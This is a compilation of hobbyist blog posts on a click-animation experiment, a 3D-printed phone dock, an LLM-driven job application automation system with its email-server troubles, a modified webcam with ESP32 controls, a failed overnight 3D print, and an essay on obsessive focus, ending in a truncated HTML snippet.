2. Scaling Animation: When you click anywhere on the screen, the circles scale up briefly, creating a wave-like animation.

3. Color Cycling: Every click also cycles the colors of the circles and the background in a coordinated manner, producing vibrant visual feedback.

These rules, individually, are easy to grasp. There’s nothing complicated here, just position tracking, scaling animations, and color changes.

How Each Square Behaves

• Circle Movement: Each circle calculates its distance from your cursor. The closer your cursor, the more significant the pull towards it. Farther circles barely move, while nearer ones noticeably shift.

• Wave Effect: When clicking, circles animate outward from the click position. This animation delay is directly proportional to their distance from your click, creating a fluid, rippling wave effect.

• Dynamic Colors: With each click, the circles change color in sequence, and the background shifts subtly to a complementary shade, ensuring harmony and contrast.

Turning Simplicity into Complexity

Here’s the magic: When you multiply these simple interactions across dozens or even hundreds of elements, complexity emerges naturally. The interplay of movement, timing, and color creates visually captivating patterns far greater than the sum of its parts.

Lessons Learned

• Less is More: Even minimal rules can produce rich, engaging visuals.

• Timing Matters: Smooth, carefully timed animations create appealing interactions.

• Harmony in Design: Complementary colors and coordinated animations enhance the overall visual experience significantly.

Try It Yourself

Exploring these interactions first-hand is not only fun but also inspiring. By experimenting with simple rulesets and basic animations, you'll discover just how powerful and creative simplicity can be.

So, next time you marvel at something visually complex, remember: complexity often starts with simplicity, just scaled, repeated, and beautifully orchestrated.

link to the experiment - https://daviddodda.com/experiments/snake-eyes.html

link to the code - https://github.com/daviddodda1/developer_portfolio_minimal/blob/main/experiments/snake-eyes.html

So I'm scrolling YouTube one day and stumble across this slick iPhone standby dock by Scott.

video link

Clean design, wireless charging, even a spot for AirPods. Love it. Only problem? I've got an Android.

Perfect chance to level up my 3D modeling skills. I'm still a beginner with Onshape, but hey - best way to learn is to build something you actually want, right? So I fired up the software and started modeling.

Version 1

On my first attempt I built this chunky brick with a solid back wall. Looked decent, had spots for the phone and my Mi Watch. But had one big downside - my Motorola Edge supports 50W wireless charging. Sounds great until you realize what happens when you pump that much power through a wireless charger...

The whole thing Hit 85-90 degrees at the hottest parts and the PLA plastic started to soften and sag where it came in contact with the charging puck. Not ideal when you're trying to work and your phone dock is slowly morphing into modern art.

Version 2

Version 2 got smarter. Added ventilation slots, even designed spots for 30mm cooling fans. I know it’s over kill. But sometimes you gotta go big before you can go home. Turns out just dropping the charging power solved the heat issue (you just use a low wattage charge brick). Classic over-engineering.

But the story doesn't end there. Upgraded my watch to this cool open-source BangleJS that lets you run your own application that your write in javascript. but it has a different charging mechanism that’s not comparable with the version 2 dock.

Version 3

so one more major iteration, this time I don’t want it to take up too much space, I don’t want it bulky, something that’s really simple. here’s the 3rd version of the dock. considerably smaller footprint, takes way less material to print, has vents only at the charge coil. I also moved the charge area to the front of the dock instead of the top. has decent cable management too.

The Application

on android you don’t have a standmy dock mode, so I use this app called StandbyDock Pro (one-time payment, none of that subscription nonsense). Now I've got this whole command center setup - calendar, music controls and some really cool clocks.

Want to build your own? I'll drop the 3D models and Onshape project links below. the on-shape project is parametric, so you can tweak it for whatever phone/watch combo you're running.

onshape link - https://cad.onshape.com/documents/d94f0a5e3dbdc238eee0df12/w/20a0c54cbcca88e40ed6379d/e/1c566268f8cf71fcad356f0f

thingiverse (stl files) - https://www.thingiverse.com/thing:6930050

Android App - https://play.google.com/store/apps/details?id=br.com.zetabit.ios_standby&hl=en_IN&pli=1

I am a noob when it comes to 3d modeling, so I know this is not the perfect version. I got it to a place where I am happy using it on my desk.

That's it - catch you in the next one.

ps: this was an old project I did, just getting around to writing about it, I have something really good cooking up using ai. watch out for that announcement soon.

Remember when I said the email system deserved its own article? Well, here it is. It's a story of hubris, AWS rejections, and what happens when you try to run your own email server. (Spoiler: Nothing good.)

The Email System Saga

I wanted something simple: a system that could send and receive emails programmatically and provide a decent ui to view sent emails and reply to incoming emails. Here's how that "simple" requirement turned into a two-week adventure.

Round 1: The Simple Solution

First thought: "I'll just use Gmail's SMTP server!"

Problems:

• Their API documentation is a nightmare

• You need to use OAuth 2.0 to authenticate and make API requests.

• They're really not fond of automated emails

• Even their business accounts have strict limits

The real kicker? This used to be dead simple. Back in the day, you just had to enable the "less secure apps" option in your account settings, and boom - you could fire off emails using your username and password with nodemailer. No OAuth dance, no security theater, just simple SMTP auth. But Google killed that flow, and now we're left with a more complex setup that takes way more time to get running.

Next thought: "Fine, I'll use ProtonMail - they're privacy focused!"

• Requires a business account

• Need to submit a request form

• Have to get approved for SMTP access

• Spoiler: They don't approve automation use cases

Round 2: AWS SES (Simple Email Service)

AWS seemed perfect:

• Built for programmatic email sending

• Great documentation

• Reasonable pricing

• Even handles incoming mail via S3 buckets

I built a whole system around it:

• Outgoing emails through SES

• Incoming emails saved to S3

• Lambda function to process responses

• MongoDB to track everything

It worked beautifully in testing. Then I applied for production access...

Dear Developer,

Thank you for your request for production access to Amazon SES.
We have reviewed your use case and determined that it does not align with our service terms...

Turns out "I want to send automated job applications" isn't what they want to hear. Who knew?

Round 3: The Self-Hosted Dream

"Fine," I thought, "I'll run my own email server. How hard can it be?"

(Those words should be engraved on every developer's tombstone.)

I found this great tool called Mailcow that handles everything:

• SMTP server

• IMAP support

• Web interface

• Spam filtering

• The works

The setup process was actually smooth:

1. Spin up an server (I used an ec2 instance here)

2. Configure DNS records

3. Set up Mailcow

4. Open the required ports...

Oh wait. AWS blocks SMTP ports by default. You have to request access. And guess what their response was?

Back to the drawing board.

Round 4: VPS Adventures

Okay, no AWS. I'll use a regular VPS where I have full port access!

Got Mailcow running on a cheap VPS I grabbed during Black Friday sales. Everything looked good:

• Server up and running

• All ports open

• DNS configured

• TLS certificates in place

I could receive emails! Victory!

...but I couldn't send any. And honestly? I never figured out why. The server was configured, the ports were open, everything looked right on paper - but no emails would go through. After countless attempts and configuration tweaks, I did what any sane developer would do: I shelved the entire project.

At this point, I had sunk two weeks into this email adventure with nothing to show for it. It was time to step back and rethink everything.

The Final Solution

Then one day, while taking a break from this project, I came across this video by Joe Barnard (the BPS.space guy):

A rant on personal engineering projects

In it, he makes this brilliant point about the difference between company projects and personal projects. In a company, you optimize for things like cost, scalability, and perfect systems integration. But with personal projects? Your biggest challenge isn't making it cheap or efficient - it's actually finishing the damn thing.

He talks about how in a company, if one approach fails, you can buy another solution, hire consultants, or modify the requirements. But in a personal project, you're the only one responsible for everything. Your biggest risk isn't going over budget - it's the project never getting done at all.

So I did what I should have done from the start:

1. Used Mailgun for sending emails

2. Set up their inbound routing to forward replies to my regular email

3. Added my email as BCC on all applications

4. Called it a day

Was it the most elegant solution? No. Was it the cheapest? No. Did it work? Yes. Did it get me over the finish line? Also yes.

The Results

In the end, I sent out about 250 job applications in 20 minutes. Total cost? About $5 in API fees.

The irony? I got a job offer before I even finished the project. Not from the automated applications - turns out networking still works better. But here's the real plot twist: talking about this project during my technical interview actually helped land me the job.

When they asked about challenging projects I'd worked on, I walked them through everything - the script execution system, the data pipeline, the email server saga. Nothing demonstrates your technical chops quite like explaining why you spent two weeks trying to run your own SMTP server before admitting defeat. Sometimes the projects that don't quite work out teach us the most valuable lessons - and make for the best interview stories.

Lessons Learned

1. Start with the boring solution

   • If something's been solved, use that solution

   • Your clever idea probably isn't worth the trouble

   • Every "I'll just build it myself" decision needs serious justification

2. Define "good enough"

   • Perfect email deliverability isn't needed for a personal project

   • You can forward emails instead of building an inbox

   • Sometimes BCC'ing yourself is the right solution

3. Know when to quit

   • Two weeks on email infrastructure was too long

   • "I've already spent X time on this" is a trap

4. The best solution is the one that ships

   • A working project beats a perfect plan

   • You can always improve it later

   • Sometimes "later" means "never," and that's okay

What's Next?

Could this project be better? Absolutely:

• The email generation could be batched to reduce API costs

• The UI could be prettier

• LinkedIn integration would be nice

• Job board scraping could be automated

Will I do any of that? Probably not. I have a job now, and more importantly, I learned what I needed to learn.

The code lives at jaas.fun if you want to check it out. Feel free to fork it, improve it, or use it as a cautionary tale about overengineering.

And if you're applying for jobs right now and want to use this tool, message me on LinkedIn or email me at dd@daviddodda.com. If enough people need it, I might even turn it into a proper product.

What's Coming Next

Even though I landed a job (starting in a few days!), I'm not done building things. Nights, weekends, and that sweet spot between coffee and sleep? That's building time.

My next project tackles another part of the job hunt puzzle: "Pimp My Resume" - a tool for enhancing and auto-customizing your resume for specific job listings. Because if you thought automating job applications was fun, wait until you see what happens when we let AI loose on resume optimization.

Stay tuned. This one's going to be interesting.

Thanks for following this series! If you want to talk about job automation, overengineering, or making personal projects that actually ship, find me on Twitter or LinkedIn.

Here's what I learned: the gap between "it's a working POC" and "it's a real application" is where dreams go to die. But we're going to cross that gap anyway.

From Scripts to System

Those Python scripts evolved into different script types in the application, each handling a specific part of the process. Every job search became a "campaign" with its own pipeline. Here's how it works:

1. Raw HTML Storage: You dump in raw HTML from job boards

// example html for a job listing
<article id="article-42478761" class="action-buttons"><a href="/jobsearch/jobposting/42478761?source=searchresults"
            id="ajaxupdateform:j_id_31_3_3p:1:j_id_31_3_3r" class="resultJobItem">
            <h3 class="title">
                <span class="flag">
                    <span class="new">
                        New
                    </span><span class="telework">On site</span><span class="postedonJB">
                        Posted on Job Bank
                        <span class="description"><span class="fa fa-info-circle" aria-hidden="true"></span>This job was
                            posted directly by the employer on Job Bank.</span>
                    </span>

                </span>
                <span class="job-source job-source-icon-16"><span class="wb-inv">Job Bank</span></span>
                <span class="noctitle"> software developer

                </span>
            </h3>

            <ul class="list-unstyled">
                <li class="date">November 08, 2024
                </li>
                <li class="business">OMEGA SOFTWARE SERVICES LTD.</li>
                <li class="location"><span class="fas fa-map-marker-alt" aria-hidden="true"></span> <span
                        class="wb-inv">Location</span>

                    Scarborough (ON)

                </li>
                <li class="salary"><span class="fa fa-dollar" aria-hidden="true"></span>
                    Salary:
                    $50.00 hourly</li>
                <li class="source"><span class="job-source job-source-icon-16"><span class="wb-inv">Job
                            Bank</span></span>
                    <span class="wb-inv">Job number:</span>
                    <span class="fa fa-hashtag" aria-hidden="true"></span>
                    3146897
                </li>
            </ul>
        </a><span id="ajaxupdateform:j_id_31_3_3p:1:favouritegroup" class="float job-action">
            <a href="/login" data-jobid="42478761" class="favourite saveLoginRedirectURI"
                onclick="saveLoginRedirectURIListener(this);">
                <span class="wb-inv">software developer - Save to favourites</span>
            </a></span>
    </article>

2. Initial Cleanup: A script turns that mess into structured JSON like this:

 {
    "job_link": "https://www.jobbank.gc.ca/jobsearch/jobposting/42478761?source=searchresults",
    "job_id": "42478761",
    "job_role": "software developer",
    "employer": "OMEGA SOFTWARE SERVICES LTD.",
    "location": "Scarborough (ON)",
    "work_arrangement": "On site",
    "salary": "$50.00 hourly"
  }

3. Job Fetching: Another script hits each job URL and grabs the full posting (with polite delays between requests because we're not savages) 4. Job Data Cleaning: This script uses AI to turn job postings into clean, structured data including:

• Contact email

• Application instructions

• Full job description in markdown

• Additional metadata (salary, location, requirements)

{
    "job_id": "42313964",
    "processed_timestamp": "2024-12-25T19:45:39.829Z",
    "original_fetch_timestamp": "2024-12-25T19:40:46.187Z",
    "job_json": {
      "contact_email": "careers@wiasystems.com",
      "application_instructions": "To apply, please send your resume and cover letter to careers@wiasystems.com.",
      "job_posting_text": "# Job Posting\n\n## Job Title: Software Engineer\n\n**Job Description:**\n\n- Education: Bachelor's degree in Computer Science or related field\n- Experience: 2 years to less than 3 years\n- Location: Vancouver, BC\n- Work Arrangement: Hybrid (in-person and remote)\n\n## Job Responsibilities:\n\n- Collect and document user's requirements\n- Coordinate the development, installation, integration and operation of computer-based systems\n- Define system functionality\n- Develop flowcharts, layouts, and documentation to identify solutions\n- Develop process and network models to optimize architecture\n- Develop software solutions by studying systems flow, data usage, and work processes\n- Evaluate the performance and reliability of system designs\n- Evaluate user feedback\n- Execute full lifecycle software development\n- Prepare plan to maintain software\n- Research technical information to design, develop, and test computer-based systems\n- Synthesize technical information for every phase of the cycle of a computer-based system\n- Upgrade and maintain software\n- Lead and coordinate teams of information systems professionals in the development of software and integrated information systems, process control software, and other embedded software control systems\n\n## Required Skills and Qualifications:\n\n- Agile\n- Cloud\n- Development and operations (DevOps)\n- Eclipse\n- Jira\n- Microsoft Visual Studio\n- HTML\n- Intranet\n- Internet\n- XML Technology (XSL, XSD, DTD)\n- Servers\n- Desktop applications\n- Enterprise Applications Integration (EAI)\n- Java\n- File management software\n- Word processing software\n- X Windows\n- Servlet\n- Object-Oriented programming languages\n- Presentation software\n- Mail server software\n- Project management software\n- Programming software\n- SQL\n- Database software\n- Programming languages\n- Software development\n- XML\n- MS Office\n- Spreadsheet\n- Oracle\n- TCP/IP\n- Amazon Web Services (AWS)\n- Git\n- Atlassian Confluence\n- GitHub\n- Performance testing\n- Postman\n- Software quality assurance\n- MS Excel\n- MS Outlook\n- MS SQL Server\n\n### Benefits:\n\n- Health benefits: Dental plan, Health care plan, Vision care benefits\n- Other benefits: Learning/training paid by employer, Other benefits, Paid time off (volunteering or personal days)\n\nFor more information about the position and to apply, please send your resume and cover letter to careers@wiasystems.com.",
      "job_posting_link": "https://www.jobbank.gc.ca/jobsearch/jobposting/42313964?source=searchresults",
      "additional_info": {
        "salary": "CAD 60.50 per hour",
        "location": "Vancouver, BC",
        "job_role": "Software Engineer",
        "company_name": "WIA Software Systems Inc.",
        "job_type": "Permanent, Full-time",
        "required_experience": "2 years to less than 3 years",
        "required_education": "Bachelor's degree in Computer Science or related field",
        "language_requirements": "English",
        "work_arrangement": "Hybrid (in-person and remote)"
      }
    },
    "raw_gpt_responce": ""
  },

5. Email Generation: Takes your resume + job data and crafts personalized applications that don't sound like they came from a robot

6. Email Sending: The final step that actually gets your applications out the door

Each campaign is isolated. While a campaign can only run one script at a time (like going from cleanup to fetching to email generation), different campaigns run independently. Think of it like having multiple assembly lines - if one line stops, the others keep humming along. A script breaking in one campaign won't mess with jobs running in another.

The Tech Stack

I could tell you I chose each piece of technology after careful consideration of all possible options. But the truth? I went with what I knew would get the job done:

• Frontend: Next.js with Shadcn for UI components

• Backend: Express.js and nodejs (with typescript)

• Database: MongoDB for the job data

• Queue System: Redis for background jobs

• AI Integration: Modular setup supporting multiple providers

The application lives at jaas.fun (Job Application Automation System - I'm great at names, I know).

The Campaign System

Each campaign in the system is completely isolated. This was crucial because:

• Different job boards need different scripts

• Rate limits hit at different times

• You want to test new approaches without breaking existing ones

The campaign schema tracks everything:

• Raw HTML from job boards

• Cleanup scripts

• Generated JSON

• Email templates

• Processing status

Each type of script gets specific functions based on its role:

• Cleanup scripts: Access to read raw HTML and save cleaned JSON

• Fetch scripts: Network access to job boards and data storage

• Email generation scripts: Access to AI models and resume data

• Email sending scripts: Access to email services and campaign status updates

No script can access functions outside its type - a cleanup script can't send emails, and an email script can't fetch new jobs. It's like giving each worker exactly the tools they need, nothing more.

The Script Execution System

This is where things get really interesting. Remember how we need to run untrusted code (our cleanup and processing scripts) safely? Enter the script execution system.

Here's how it works:

1. Each script gets queued in Redis with:

   • Campaign ID

   • Script type (cleanup, fetch, email generation)

   • Script content

   • Input data

2. A worker process runs continuously, waiting for new jobs. It uses vm2 to create a sandboxed environment for each script. Why? Because running arbitrary JavaScript is dangerous, and I enjoy sleeping at night.

3. Each script runs in its own sandbox with:

   • A custom console.log that streams to Redis

   • Access to only its input data

   • Complete isolation from the main system

   • No artificial time limits (because processing 100 jobs takes longer than processing 1)

The logging system is pretty neat. Instead of writing to files or console, every log message gets:

• Timestamped

• Stored in Redis by campaign and script type

• Streamed back to the UI in real-time

The best part? The whole thing is crash-proof. If a script fails, the campaign gets marked as failed but nothing else breaks. If the worker crashes, it restarts and picks up where it left off. You can literally close your browser, go get coffee, maybe actually prepare for those interviews you're about to get.

When a script finishes, the worker:

1. Takes the output and saves it to the right place in MongoDB

2. Updates the campaign status

3. Cleans up any temporary data

4. Moves on to the next job

And because it's all queue-based, you can have multiple workers running if you need to process more campaigns.

The Data Pipeline

Let me walk you through how data actually flows through the system:

1. Raw HTML Processing:

   • User dumps raw HTML from job boards into a campaign

   • A script using Cheerio extracts basic details (job ID, title, salary)

   • Smart error handling catches missing fields early

   • HTML gets minified to save storage (we went from 175KB to 32KB per job)

2. Job Details Fetching:

   • System hits each job URL with proper headers (looking like a real browser)

   • Handles different request types (GET for main page, POST for "how to apply")

   • Adds delays between requests (2-3 seconds) to be nice to job boards

   • Handles timeouts and expired job postings gracefully

3. AI-Powered Data Cleaning:

   • Turns messy HTML into structured job data

   • Extracts everything from salary ranges to required skills

   • Formats job descriptions as clean markdown

   • Every response includes metadata about processing time and data quality

4. Cover Letter Generation:

   • Pulls your resume from a configured source (GitHub in my case)

   • Matches your skills against job requirements

   • Generates both HTML and plain text versions

   • Even includes metadata about which skills matched

   • Fails fast if critical info is missing

The Email System

Here's where things get really interesting. The email generation system isn't just sending form letters - it's creating completely personalized applications:

1. Smart Resume Handling:

   • Pulls your resume from a configured source

   • Parses skills and experience

   • Maps your background to job requirements

2. Template-Free Generation:

   • No generic "I saw your posting" emails

   • Each letter references specific job details

   • System tracks key points addressed

   • Includes metadata about skill matches

3. Quality Control:

   • Generates both HTML and plain text versions

   • Fails fast if critical info is missing

   • Tracks missing recommended fields

   • Analyzes tone and content

4. Sending System:

   • Handles rate limiting automatically

   • BCC's you on all applications

The system even includes metadata about how well your experience matches the job requirements. It's like having a really picky editor who happens to be really, really fast.

What's Next

Remember how in Part 1 I mentioned the email system? Oh boy. That deserves its own article. In Part 3, I'm going to tell you about:

• Getting rejected by AWS

• The pitfalls of self-hosted SMTP servers

• Understanding why big companies don't want you sending automated job applications

• Finally finding a solution that works

Plus, I'll tell you how I got a job offer before even finishing this project. (Spoiler: It involves accidentally automating myself into a corner.)

In the meantime, check out jaas.fun for:

• The complete source code

• Guide on writing scripts and using the application (written with the same attention to detail as my commit messages - "fixed stuff")

• Video demo of the system in action

Want to know when Part 3 drops? The one with all the juicy email server drama? Follow me on Twitter or LinkedIn. It has all the lessons learned about email infrastructure, rate limiting, and why not all shortcuts lead to where you think they will.

It's this soul-crushing cycle of copying and pasting the same information over and over again, tweaking your resume for the 100th time, and writing cover letters that make you sound desperate without actually sounding desperate.

But here's the thing: repetitive tasks + structured process = perfect automation candidate.

So I did what any sane developer would do - I built a system to automate the whole damn thing. By the end, I had sent out 250 job applications in 20 minutes. (The irony? I got a job offer before I even finished building it. More on that later.)

Let me walk you through how I did it.

The Job Application Process is Broken

Think about it - every job application follows the same basic pattern:

1. Find job posting

2. Check if you're qualified

3. Research company (let's be real, most people skip this)

4. Submit resume + cover letter

5. Wait... and wait... and wait...

It's like a really boring video game where you do the same quest over and over, hoping for different results.

Building the Proof of Concept

I started by writing some quick Python scripts to test if this crazy idea could work. Here's how I broke it down:

Step 1: Getting the Job Listings (The Manual Part)

First challenge: getting job listings at scale. I tried web scraping but quickly realized something: job boards are like snowflakes - each one is uniquely annoying to scrape.

I tested dumping entire web pages into an LLM to clean the data, but:

• It was expensive as hell

• I didn't want the AI hallucinating job requirements (imagine explaining that in an interview)

So I went old school - manual HTML copying. Yes, it's primitive. Yes, it works. Sometimes the simplest solution is the best solution.

Step 2: Cleaning the Raw HTML

The raw HTML was a mess, but I needed structured data like this:

{
    "job_link": "https://example.com/job/12345",
    "job_id": "12345",
    "job_role": "software developer",
    "employer": "Tech Corp Inc",
    "location": "San Francisco, CA",
    "work_arrangement": "Remote",
    "salary": "$150,000"
}

Pro tip: You can just show ChatGPT a sample of your HTML and the output format you want, and it'll write the parsing script for you. Work smarter, not harder.

Step 3: Getting the Full Job Details

This part was straightforward but required some finesse. For each job listing, I made a GET request to fetch the full description. Each request returns raw HTML that still has all the website scaffolding - navigation bars, popups, footer junk, the works.

I wrote a simple HTML parser to strip out everything except the actual job description. Sometimes you'll hit extra hurdles - like having to click a button to reveal the recruiter's email or company details. The good news? Since you're working with one job board at a time, you only need to figure out these patterns once.

Pro tip: Always add delays between requests. I set mine to 2-3 seconds. Sure, it makes the process slower, but it's better than getting your IP banned. Don't be that person who DDOSes job boards - I added delays between requests because I'm not a monster.

Step 4: Converting Raw HTML to Structured Data

This is where it gets interesting. Job postings are like people - they all have the same basic parts but the organization is chaos. Some list skills at the top, others bury them in paragraphs of corporate speak.

Enter the LLM prompt that saved my sanity:

const prompt = `Please analyze these HTML contents from a job posting and extract information into a structured JSON format.

[... HTML content ...]

Format the response as valid JSON object with these exact keys:
- contact_email
- application_instructions
- job_posting_text (in markdown)
- job_posting_link
- additional_info (salary, location, etc.)
- job_title
- job_company
- job_department
- job_location
- job_skills
- job_instructions (how to apply)

optional keys

- hiring_manager_name
- 
- job_portal
`

Step 5: Generating Cover Letters That Don't Suck

The secret to good cover letters? Context. I fed my resume into the LLM along with the job details. This way, the AI could match my experience with their requirements. Suddenly, those "I'm excited about this opportunity" letters actually had substance.

Here's the prompt that made it happen:

const prompt = `Please help me write a professional job application email based on the following information:

=== MY RESUME ===
${resumeMarkdown}

=== JOB DETAILS ===
Job Title: ${job_title}
Company: ${job_company}
Department: ${job_department || ''}
Location: ${job_location || ''}
Job Description: ${job_posting_text }
Required Skills: ${job_skills?.join(', ') || ''}
Application Instructions: ${job_instructions || ''}

Additional Context:
- Hiring Manager Name: ${hiring_manager_name || ''}
- Referral Source: ${referral_source || 'Job board'}
- Application Portal: ${job_portal || ''}

Instructions:
1. Create an email that is ready to send without any placeholders or edits needed
2. If any critical information is missing (like company name or job title), respond with an error message instead of generating incomplete content
3. Skip any optional fields if they're empty rather than including placeholder text
4. Use natural sentence structure instead of obvious template language
5. Include specific details from both the resume and job description to show genuine interest and fit
6. Any links or contact information should be properly formatted and ready to use

Format the response as a JSON object with these keys:
{
  "status": "success" or "error",
  "error_message": "Only present if status is error, explaining what critical information is missing",
  "email": {
    "subject": "The email subject line",
    "body_html": "The email body in HTML format with proper formatting",
    "body_text": "The plain text version of the email",
    "metadata": {
      "key_points_addressed": ["list of main points addressed"],
      "skills_highlighted": ["list of skills mentioned"],
      "resume_matches": ["specific experiences/skills from resume that match job requirements"],
      "missing_recommended_info": ["optional fields that were missing but would strengthen the application if available"],
      "tone_analysis": "brief analysis of the email's tone"
    }
  }
}

Critical required fields (will return error if missing):
- Job title
- Company name
- Job description
- Resume content

Recommended but optional fields:
- Hiring manager name
- Department
- Location
- Application instructions
- Referral source
- Required skills list

Please ensure all HTML in body_html is properly escaped for JSON and uses only basic formatting tags (p, br, b, i, ul, li) to ensure maximum email client compatibility.
`

The prompt does a few clever things:

1. Forces structured output - no wishy-washy responses

2. Tracks which of your skills match the job requirements

3. Identifies any missing info that could strengthen the application

4. Generates both HTML and plain text versions (because some job portals hate formatting)

And here's the kicker - it fails fast if critical info is missing. No more generic "I saw your job posting" emails. Either the cover letter has substance, or it doesn't get sent. Period.

(I start all all my prompts with ‘please’, so that when AI eventually takes over, they would consider me friendly 😁)

Step 6: Sending the Emails (The Moment of Truth)

Last step - actually sending these beautifully crafted applications. Sounds simple, right? Just hook up an email service and blast away?

Not so fast. I needed a way to:

• Send professional-looking emails

• Track what was actually sent

• Monitor responses (can't ghost the recruiters)

• Not get flagged as spam (crucial!)

For testing, I sent all emails to a test account first. Pro tip: when you do send to actual recruiters, BCC yourself. Nothing worse than wondering "did that email actually go through?"

At this stage of the POC, I just used a simple email provider like Mailgun. Quick, dirty, but effective. Don't worry - in Part 2, I'll tell you about the rabbit hole I went down trying to build a full email management system. (Spoiler: it involves rejected AWS applications and a failed attempt at running my own email server. Good times.)

The Results

The proof of concept worked better than expected. I could take a job board, extract listings, parse them, and generate personalized applications - all with a few Python scripts.

But this was just the beginning. The real challenge? Turning these scripts into a proper application that could:

• Handle multiple job boards

• Track applications

• Manage email responses

• Not get me blacklisted from every HR system in existence

In Part 2, I'll show you how I built the actual application, complete with all the technical decisions, trade-offs, and "what was I thinking" moments.

Stay tuned - it gets even better.

Want to know when Part 2 drops? Follow me on Twitter or LinkedIn. And yes, I'll eventually tell you how I got a job offer before finishing this project. It's a good story.

This camera is from a different era (released in 2014), so it lacks remote control capabilities, especially when used as a webcam.

So I did what any reasonable person would do - I cracked it open and took matters into my own hands.

Time for a DIY Solution

First, I needed to understand how this camera's controls worked. After finding a repair manual online and watching a helpful YouTube video, I was able to disassemble it without any issues.

After studying the repair manual, I identified the circuit responsible for all the functionality I wanted to control. All the buttons and switches that controlled power, zoom, and focus were on a single flexible PCB (RL-1025 FLEXIBLE BOARD).

Initially, I considered intercepting the signals at the mainboard where the flex cable connects, but that was beyond my skill level due to the micro-soldering required.

So I chose the more straightforward path and modified the flexible board directly. Here's what I did:

1. Desoldered the original buttons (zoom, power, and focus)

2. Soldered 5 wires to the flex board (4 to the pads left from the previous step + one for ground)

3. Routed the wires through the hole where the shutter button was supposed to be

4. Reassembled the camera after testing for any short circuits

Now we had 5 wires to work with. By connecting any of the 4 function wires (zoom in, zoom out, power, focus) to ground, we could mimic a button press. That's pretty cool, but not particularly helpful yet - you can't just hot-wire the camera like you're trying to steal a car every time you want to turn it on.

So I connected the wires to a 4-channel relay that could be controlled by any micro-controller. I chose an ESP32-based micro-controller for two reasons:

1. It would let me control the camera over WiFi

2. The ESP32-C3 Super Mini has a very small footprint (18mm x 22mm) and comes with a built-in ceramic antenna

After writing some code for the micro-controller, I set up a simple web dashboard to control the relays over the network.

Going the extra mile

After adding all these controls to the camera, it would have been a shame to still need to get up to adjust the angle once it was set up. So why not add some pan and tilt functionality as well?

I designed and 3D printed a simple 2-axis gimbal using two servo motors. This addition allows the camera to rotate both horizontally and vertically, all controlled through the same ESP32 board and web interface.

The Final Result

Is this janky? Maybe a little. But does it work? You bet it does. The best part? Every time someone asks about my camera setup on calls, I get to say, "Oh yeah, I built that myself."

The total cost for the project was less than Rs1500 ($17.73), not including the cost of the camera.

NOTE: If you're opening any camera that has flash functionality, make sure to discharge the capacitors first. If you shock yourself, it hurts really badly and can potentially cause lasting damage.

What's Next?

I want to add side-to-side movement. I have some spare aluminum extrusion that I might use to create a gantry mechanism, adding an additional degree of movement.

Here's what happened:

Last night: Check on print before bed. First 10 layers? PERFECT. chef's kiss I'm feeling like a genius.

"Look at those layer lines. Smooth like butter."

Me, an intellectual: "I'll just let it run overnight." (Future me is already laughing)

6AM: Stumble to bathroom. Haven't even grabbed my toothbrush. Glance at printer.

OH NO.

Instead of my beautiful print, I'm staring at what looks like a modern art piece made of plastic spaghetti. The whole thing warped so bad, my print head decided to take it for a joyride around the build plate.

The betrayal hits different before coffee.

You know what's worse than a failed print? A failed print that waited until you weren't looking to fail. Like a teenager throwing a party when parents leave town.

12 hours and 200gms of fancy filament later, here's what I learned:

When your prints look like abstract art, it usually comes down to THREE things (not two, I can't count before coffee):

1. Your temperature is wrong

2. You forgot about retraction

3. Your bed game is weak (yes, that's a thing)

Here's how to fix each one:

Temperature Drama

• Hot end too hot? Spaghetti art

• Too cold? Layer separation city

• The fix: Print a Temperature Tower. Every. New. Material.

• Takes 40-50 mins (find the gcode online or in your slicer)

• Saves you from my morning nightmare

Retraction Settings Look, it's not rocket science. Turn them on. Your slicer has them somewhere. Google exists. Use it.

The Bed Situation Here's the thing about beds - they're like relationships:

• Temperature matters (too cold, nothing sticks)

• Level matters (if it's not level, nothing else matters)

• Sometimes you need extra help (enter: the glue stick hack)

The crazy part? All of this could have been prevented with a simple temperature tower test.

But no... I had to learn it the "wake up to chaos" way.

Let me break down the levels of 3D printing pain:
LEVEL 1: Print fails while you watch
LEVEL 2: Print fails overnight
LEVEL 3: Print fails in the final 1% (I'm still recovering from that one)

Listen - don't be like me.

• Print the damn temperature tower first

• Verify with a quick calibration cube

• Double-check those retraction settings

Your morning routine (and your filament budget) will thank you.

P.S. Yes, you can use a glue stick. No, it's not cheating. Yes, I judged people who did this before today.

P.P.S. Yes, my teeth are brushed now. Priorities.

P.P.P.S. Want to save yourself 12 hours and a morning crisis? Just remember:

• Temperature tower first

• Retraction on

• Glue stick ready

FALSE.

Here's the truth: If you want to win the race, you need to be a cheetah, not a tortoise. When motivation strikes and you're ready to make a change, most people make the mistake of trying to grow incrementally in multiple areas at once. They set a bunch of small goals, hoping to slowly but surely improve across the board.

But here's the problem: It's really freakin' hard to make progress in a bunch of different areas simultaneously. Your focus gets split, your energy gets drained, and before you know it, you've made a millimeter of progress in a million different directions.

The solution? Obsession.

Pick ONE thing you want to absolutely crush and become the best at. Then, give every waking hour of your life to it. Immerse yourself completely. Make it your North Star.

Your media consumption, your reading, your learning, your experimentation - everything should revolve around this singular pursuit. If it's not pushing you closer to mastery in your chosen field, cut it out. Ruthlessly.

"But what about having a balanced life?"

Forget about it. Work-life balance and rest are for people who are coasting or have already reached their goals. Winners are too busy sprinting towards the finish line to worry about balance.

Now maybe you're thinking: "What if I pick the wrong thing to obsess over?"

Doesn't matter. Give it a solid month of single-minded focus. If after 30 days, you realize it's not for you, congrats - you figured it out faster than 99% of people. Plus, you've still gained a level of proficiency that will be a valuable tool in your toolbelt going forward.

So stop dabbling. Stop half-assing. Stop trying to make tiny improvements in a hundred different directions.

Pick your path, put on your blinders, and grow at light-speed. Before you know it, you'll be miles ahead of the pack - while they're still inching along like tortoises.

Remember: Obsession is a competitive advantage. Incremental progress is the slow lane.

There's no speed limit on the road to greatness - so floor it.

The Demo

Photo by Alex Suprun on Unsplash

The Code

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Pixel Profile Pic test</title>
    <style>
      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
      }

      body {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        background-color: #000814;
      }

      .main_container {
        width: 100%;
        min-height: 100vh;
        overflow: hidden;
        display: flex;
        justify-content: center;
        align-items: center;
      }

      .outerImage {
        width: 400px;
        height: 400px;
        display: flex;
        justify-content: center;
        align-items: center;
        background-image: url("/pi.png");
        background-size: cover;
        background-position: center;
        overflow: hidden;
        border-radius: 20%;
      }

      .innerImage {
